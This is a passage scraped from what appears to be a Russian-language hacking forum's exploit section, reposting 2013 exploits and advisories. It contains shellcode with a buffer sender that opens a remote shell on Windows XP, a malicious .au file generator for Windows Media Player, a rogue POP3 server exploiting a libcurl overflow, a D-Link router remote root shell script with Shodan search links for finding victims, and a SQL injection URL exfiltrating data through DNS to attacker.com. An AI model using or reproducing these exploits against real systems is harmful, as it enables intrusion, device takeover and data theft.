"\x43\x1e\xbb\x07\x8a\x70\xaa\x5c\x43\x0c\xd3\x09\x08\x38" +
"\xe1\x8d\x18\x1c\x20\xc4\xd0\xc7\xf3\xac\xc9\x9f\x48\xb0" +
"\x81\xc7\x9f\x07\xc9\x9a\x9a\x73\xf9\x8c\x07\x4d\x07\x41" +
"\xaa\x4b\xf0\xac\xde\x78\xcb\x31\x53\xb7\xb5\x68\xde\x6e" +
"\x90\xc7\xf3\xa8\xc9\x9f\xcd\x07\xc4\x07\x20\xd4\xd4\x4d" +
"\x78\x07\xcc\xc7\xaa\x5c\x41\x08\x8f\xa8\x93\x17\xca\xd5" +
"\x92\x1d\x54\x6c\x90\x13\xf1\x07\xda\xa7\x2d\xd1\xa0\x7f" +
"\x99\x8c\xc8\x24\xdc\xff\xfa\x13\xff\xe4\x84\x3b\x8d\x8b" +
"\x37\x99\x13\x1c\xc9\x4c\xab\xa5\x0c\x18\xfb\xe4\xe1\xcc" +
"\xc0\x8c\x37\x99\xfb\xdc\x98\x1c\xeb\xdc\x88\x1c\xc3\x66" +
"\xc7\x93\x4b\x73\x1d\xc5\x6c\xbd\x13\x1f\xc3\x8e\xc8\x5d" +
"\xf7\x05\x2e\x26\xbb\xda\x9f\x24\x69\x57\xff\x2b\x54\x59" +
"\x9b\x1b\xc3\x3b\x21\x74\x54\x73\x1d\x1f\xf8\xdb\xa0\x38" +
"\x47\xb7\x29\xb3\x7e\xdb\x41\x8b\xc3\xf9\xa6\x01\xca\x73" +
"\x1d\x24\xc8\xe1\xac\x4c\x22\x6f\x9f\x1b\xfc\xbd\x3e\x26" +
"\xb9\xd5\x9e\xae\x56\xea\x0f\x08\x8f\xb0\xc9\x4d\x26\xc8" +
"\xec\x5c\x6d\x8c\x8c\x18\xfb\xda\x9e\x1a\xed\xda\x86\x1a" +
"\xfd\xdf\x9e\x24\xd2\x40\xf7\xca\x54\x59\x41\xac\xe5\xda" +
"\x8e\xb3\x9b\xe4\xc0\xcb\xb6\xec\x37\x99\x10\x7c\x7d\xee" +
"\xfd\xe4\x6e\xd9\x16\x11\x37\x99\x97\x8a\xb4\x46\x2b\x77" +
"\x28\x39\xae\x37\x8f\x5f\xd9\xe3\xa2\x4c\xf8\x73\x1d\x4c" +
"\xab\x8c"
)
  
# EIP overwritten at offset 251
# JMP ESP 7CA58265 SHELL32.DLL, Windows XP Pro SP2, English
jmpesp = struct.pack("<I", 0x7CA58265)
buf = "\x41" * 251 + jmpesp + "\x90" * 129 + shellcode
  
print "[+] exploiting target %s:%d" % (ip, port)
print "[+] try connecting to %s on port 4444" % (ip)
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(buf + "\r\n")
 
# 5F3B3DBD4C4C4376   1337day.com [2013-02-12]   7AC9C2E312814F41 #
Windows Media Player 9.0.0
ID: 67686ba3b4103b69df379da7
Thread ID: 23899
Created: 2013-02-11T07:15:07+0000
Last Post: 2013-02-11T07:15:07+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

# Title : Windows Media Player 9.0.0 Local Proof Of Concept Exploit
# Date: 2013-01-12
# Software Link: http://windows.microsoft.com/fr-FR/windows/windows-media-player
# phone : +447024073406
# Author: The Black Devils
# Tested on: Windows XP SP2
# Home: www.arab47.com منتديات عرب غرداية
# Greeting To :All Arab47 memberz/ 3xp1r3 Cyber Army / Newbie3viLc063s / Inj3ct0r Team
 
#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";                 
print "    |=======================================================|\n";
print "    |= [!] Name : Windows Media Player 9.0.0 ||.au        =|\n";
print "    |= [!] Exploit : Memory Corruption                     =|\n";
print "    |= [!] Author  : The Black Devils                      =|\n";
print "    |= [!] Mail: mr.k4rizma(at)gmail(dot)com               =|\n";
print "    |=======================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00";
open(file , ">", "inj3ctor.au"); # Evil File au
print file $PoC; 
print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! File is Not Created !! ";
close(file);
 
 
-----------
Contact:
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com
 
# 2C7E664D608179F8   1337day.com [2013-02-11]   068082E5176DA370 #
cURL buffer overflow
ID: 67686ba3b4103b69df379da8
Thread ID: 23874
Created: 2013-02-06T16:53:21+0000
Last Post: 2013-02-10T11:25:41+0000
Author: Aels
Prefix: DoS
Replies: 2 Views: 1K

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 relased.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to http://evilserver.com/ and answer with HTTP/1.0 302 redirect with Location: pop3://x:x@evilserver.com/. Victim client tries to authenticate at our POP3 server and got exploited with long realm.

Click to expand...

PoC:

Code:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 0day by Volema/MSLC

import socket
import base64

host = "localhost"
port = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
    buf = sock.recv(1024)
    print buf
    if buf.find('USER') > -1:
        sock.send('+OK\n')
    if buf.find('PASS') > -1:
        sock.send('-ERR 999\n')
    if buf.find('CAPA') > -1:
        resp =  '+OK List of capabilities follows\n'
        resp += 'SASL DIGEST-MD5\n'
        resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
        resp += '.\n'
        sock.send(resp)
    if buf.find('QUIT') > -1:
        sock.send('+OK')
        break
    if buf.find('AUTH') > -1:
        realm = 'A'*128
        payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
        resp = '+ '+base64.b64encode(payload)+'\n'
        print resp
        sock.send(resp)
sock.close()

Источник: http://blog.volema.com/curl-rce.html

Как следствие, уязвимы кучи-кучи glype-проксей, файл-аплоадеров.

Так же (ввиду моей некомпетентности) хотелось бы услышать рецепт по приведению кода в рабочее состояние.

VLC Player 2.0.4 <= Arbitrary Code Execution
ID: 67686ba3b4103b69df379da9
Thread ID: 23896
Created: 2013-02-10T07:33:19+0000
Last Post: 2013-02-10T07:33:19+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K
D-LINK DIR-300 / DIR-600 Remote Root Exploit
ID: 67686ba3b4103b69df379daa
Thread ID: 23895
Created: 2013-02-10T07:29:57+0000
Last Post: 2013-02-10T07:29:57+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# D-LINK TOTAL FAIL
# http://www.s3cur1ty.de/m1adv2013-003
# Another Shit PoC by infodox
# SHODANS BELOW
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-300
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-600
# Who knew a shell could be so easy?
import sys
import requests
import os
 
if len(sys.argv) != 3:
    print "Usage: ./dlinkroot.py <target> <mode>"
    print "Modes: shell or telnetenable"
    print "I was lazy so I assume you have a telnet client"
    sys.exit(0)
 
target = sys.argv[1]
mode = sys.argv[2]
 
def shell(target):
    print "[+] Connecting and spawning a shell..."
    while True:
        try:
            bobcat = raw_input("%s:~# " %(target))
            lulz = "cmd=%s;" %(bobcat)
            url = "http://" + target + "/command.php"
            hax = requests.post(url, lulz)
            print hax.text
        except KeyboardInterrupt:
            print "\n[-] Quitting"
            sys.exit(1)
 
def telnetenable(target):
    lulz = "cmd=telnetd;"
    url = "http://" + target + "/command.php"
    print "[+] Trying to enable telnet"
    try:
        hax = requests.post(url, lulz)
        print hax.text
    except Exception:
        print "[-] IT FAILED IT!"
        sys.exit(0)
    print "[+] Doing a telnet"
    try:
        os.system('telnet %s') %(target)
    except Exception:
        print "[-] IT FAILED IT!"
        sys.exit(1)
 
if mode == "shell":
    shell(target)
elif mode == "telnetenable":
    telnetenable(target)
else:
    print "[:(] WHAT THE FUCK YOU'RE DOING IT WRONG!"
 
# 6582FAB515590921   1337day.com [2013-02-10]   00367915DCA177C7 #
Cool PDF Reader 3.0.2.256 Buffer Overflow
ID: 67686ba3b4103b69df379dab
Thread ID: 23892
Created: 2013-02-08T12:41:50+0000
Last Post: 2013-02-08T12:41:50+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Exploit Title: Cool PDF Reader 3.0.2.256 buffer overflow

Vulnerability Disclosed to US-CERT by Chris Gabriel: 11-20-2012

Emailed vendor: 12-4-2012

Francis Provencher discovered vulnerability and reported to Secunia:

12-19-2012

Vulnerability Discovery: Francis Provencher (Protek Research Lab's)

@ProtekResearch

Vulnerability Discovery: Chris Gabriel

Exploit Author: Chris Gabriel

Vendor Homepage: http://www.pdf2exe.com/reader.html

Version: CoolPDF 3.0.2.256

Tested on: Windows XP SP3

CVE: CVE-2012-4914

Reference:

http://www.protekresearchlab.com/index.php...id=70&Itemid=70

Reference: http://secunia.com/advisories/51602

PoC: http://www.exploit-db.com/sploits/24463.py

Click to expand...

Adobe Reader *.PDF command line execution exploit
ID: 67686ba3b4103b69df379dac
Thread ID: 23889
Created: 2013-02-08T05:09:27+0000
Last Post: 2013-02-08T05:09:27+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Видео с youtube.com

CubeCart 5.2.0 PHP Object Injection
ID: 67686ba3b4103b69df379dad
Thread ID: 23883
Created: 2013-02-07T07:14:38+0000
Last Post: 2013-02-07T07:14:38+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

CubeCart versions 5.0.0 through 5.2.0 suffer from a PHP object injection vulnerability in cubecart.class.php.

Click to expand...

-------------------------------------------------------------------------
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object Injection
Vulnerability
-------------------------------------------------------------------------

[ - ] Software Link:

http://www.cubecart.com/

[ - ] Affected Versions:

All versions from 5.0.0 to 5.2.0

[ - ] Vulnerability Description:

The vulnerable code is located in the Cubecart::_basket() method
defined in the /classes/cubecart.class.php script:

519. // Update shipping values
520. if (isset($_POST['shipping']) && !empty($_POST['shipping'])) {
521. $GLOBALS['cart']->set('shipping',
unserialize(base64url_decode($_POST['shipping'])));
522. if (!isset($_POST['proceed'])) {
523. httpredir(currentPage());
524. }
525. }

User input passed through the $_POST['shipping'] parameter is not
properly sanitized before being
used in an unserialize() call at line 521. This can be exploited to
inject an arbitrary object into
the application scope. For e.g. the destructor method of the "Config"
class could be abused:

78. public function __destruct() {
79. //Do we need to write to the db
80. if ($this->_write_db) {
81. $this->_writeDB();
82. }
83. }

By sending a specially crafted serialized "Config" object, an attacker
might be able to change the
application configuration settings with arbitrary values, and this can
lead to make the application
vulnerable to malicious attacks such as Cross-Site Scripting, SQL
Injection or Denial of Service.

[ - ] Solution:

Upgrade to version 5.2.1 or higher.

[ - ] Disclosure Timeline:

[27/01/2013] - Issue reported to
http://bugs.cubecart.com/view.php?id=511
[31/01/2013] - Version 5.2.1 released:
http://forums.cubecart.com/?showtopic=47026
[31/01/2013] - CVE number requested
[04/02/2013] - CVE number assigned
[06/02/2013] - Public disclosure

[ - ] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1465 to this vulnerability.

[ - ] Credits:

Vulnerability discovered by Egidio Romano.

[ - ] Original Advisory:

http://karmainsecurity.com/KIS-2013-02

Click to expand...

WordPress Wysija Newsletters 2.2 SQL Injection
ID: 67686ba3b4103b69df379dae
Thread ID: 23882
Created: 2013-02-07T07:11:01+0000
Last Post: 2013-02-07T07:11:01+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

WordPress Wysija Newsletters plugin version 2.2 suffers from cross site request forgery and remote SQL injection vulnerabilities.

Click to expand...

Advisory ID: HTB23140
Product: Wysija Newsletters WordPress plugin
Vendor: Wysija
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Vendor Notification: January 16, 2013
Vendor Patch: January 18, 2013
Public Disclosure: February 6, 2013
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-1408
Risk Level: Medium
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Wysija Newsletters WordPress plugin, which can be exploited to perform SQL Injection attacks.

  1. SQL Injections in Wysija Newsletters WordPress plugin: CVE-2013-1408

The vulnerabilities exist due to insufficient filtration of user-supplied input passed via the "search" and "orderby" HTTP GET parameters to the "/wp- admin/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for version() (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to cross-site request forgery attacks. In order to do so an attacker should trick the logged-in administrator into visiting a web page with CSRF exploit.

Basic CSRF exploit:

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Wysija Newsletters 2.2.1

More Information:

[http://wordpress.org/extend/plugins/wysija...ters/changelog/](http://wordpress.org/extend/plugins/wysija- newsletters/changelog/)

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23140 - https://www.htbridge.com/advisory/HTB23140 - SQL Injection vulnerability in Wysija Newsletters WordPress plugin.
[2] Wysija Newsletters - http://www.wysija.com/ - A new and simple newsletter solution for WordPress.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Click to expand...

WordPress CommentLuv 2.92.3 Cross Site Scripting
ID: 67686ba3b4103b69df379daf
Thread ID: 23881
Created: 2013-02-07T07:09:52+0000
Last Post: 2013-02-07T07:09:52+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

WordPress CommentLuv version 2.92.3 suffers from a cross site scripting vulnerability.

Click to expand...

Advisory ID: HTB23138
Product: CommentLuv WordPress plugin
Vendor: Andy Bailey
Vulnerable Version(s): 2.92.3 and probably prior
Tested Version: 2.92.3
Vendor Notification: January 16, 2013
Vendor Patch: January 17, 2013
Public Disclosure: February 6, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1409
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

  1. Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409

The vulnerability exists due to insufficient filtration of user-supplied data in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display administrator's cookies:

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to CommentLuv 2.92.4

More Information:
http://wordpress.org/extend/plugins/commentluv/changelog/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23138 - https://www.htbridge.com/advisory/HTB23138 - Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - http://www.commentluv.com/ - CommentLuv is a popular WordPress plugin that will magnetize your readers, socialize your comments and viralize your posts.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Click to expand...

Microsoft Skype Shop Cross Site Scripting
ID: 67686ba3b4103b69df379db0
Thread ID: 23880
Created: 2013-02-07T07:02:42+0000
Last Post: 2013-02-07T07:02:42+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

The Microsoft Skype GiftCards application suffers from multiple cross site scripting vulnerabilities.

Click to expand...

Title:

Microsoft Skype Shop - GiftCards Persistent Vulnerability

Date:

2013-01-30

References:

http://www.vulnerability-lab.com/get_content.php?id=826

MICROSOFT SECURITY RESPONSE CENTER (MSRC) ID: 13603
MICROSOFT SECURITY RESPONSE CENTER (MSRC) MANAGER: CL

VL-ID:

826

Common Vulnerability Scoring System:

3.5

Introduction:

Skype is a proprietary voice-over-Internet Protocol service and software application originally created in 2003 by Swedish entrepreneur
Niklas Zennström and his Danish partner Janus Friis. It has been owned by Microsoft since 2011. The service allows users to communicate
with peers by voice, video, and instant messaging over the Internet. Phone calls may be placed to recipients on the traditional telephone
networks. Calls to other users within the Skype service are free of charge, while calls to landline telephones and mobile phones are charged
via a debit-based user account system. Skype has also become popular for its additional features, including file transfer, and videoconferencing.
Competitors include SIP and H.323-based services, such as Linphone, as well as the Google Talk service, Mumble and Hall.com.

Skype has 663 million registered users as of September 2011. The network is operated by Microsoft, which has its Skype division headquarters
in Luxembourg. Most of the development team and 44% of the overall employees of the division are situated in Tallinn and Tartu, Estonia.

Unlike most other VoIP services, Skype is a hybrid peer-to-peer and client–server system. It makes use of background processing on computers
running Skype software. Skype`s original proposed name (Sky Peer-to-Peer) reflects this fact. Some network administrators have banned Skype
on corporate, government, home, and education networks, citing reasons such as inappropriate usage of resources, excessive bandwidth usage,
and security concerns.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype)

Abstract:

The Vulnerability Laboratory Research Team discovered multiple persistent persistent web vulnerabilities in the Microsoft Skype GiftCards application.

Report-Timeline:

2013-01-03: Researcher Notification & Coordination
2013-01-09: Vendor Notification
2013-01-10: Vendor Response/Feedback
2013-01-29: Vendor Fix/Patch (MSRC)
2013-01-30: Public Disclosure

Status:

Published

Affected Products:

Microsoft Corp.
Product: Skype Shop 2013 Q1

Exploitation-Technique:

Remote

Severity:

Medium

Details:

Multiple persistent input validation web vulnerabilities are detected in the official Microsoft Skype GiftCards application.
The vulnerability allows an attacker to inject own malicious script code in the vulnerable module on application side (persistent).

The vulnerabilities are located in the skype shop gift cards module when processing to list the giftcard of the buyer or customer.
The script code will be injected via the send giftcard function and allows an attacker to inject persistent script code as name,
message and information details. The code will be executed in the review module but also at the end in the giftcard which will be send
to the customer or friend. The vulnerability can be exploited without application user account and with low required user interaction.

Successful exploitation of the persistent input validation web vulnerability result in persistent session hijacking, persistent phishing,
external redirect, external malware loads and persistent vulnerable module context manipulation.

Vulnerable Service(s):
[ + ] Microsoft Corp. - Skype [Shop Service]

Vulnerable Module(s):
[ + ] Skype GiftCards

Vulnerable Parameter(s):
[ + ] An (to)- Name
[ + ] Von (from) - Name
[ + ] Vorname oder Rufname
[ + ] Gift Card Message Body

Proof of Concept:

The vulnerability can be exploited by remote attackers without privileged application user account and with low required user interaction.
For demonstration or reproduce ...

Review: Skype GiftCards - Name

Hallo, <[PERSISTENT INJECTED SCRIPT CODE!]">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]">.

Review: Skype GiftCards - Ecard and Message Text

class="inner_cell" valign="middle" width="50%">

An
<[PERSISTENT INJECTED SCRIPT CODE!]%20_[PERSISTENT INJECTED SCRIPT CODE!]">,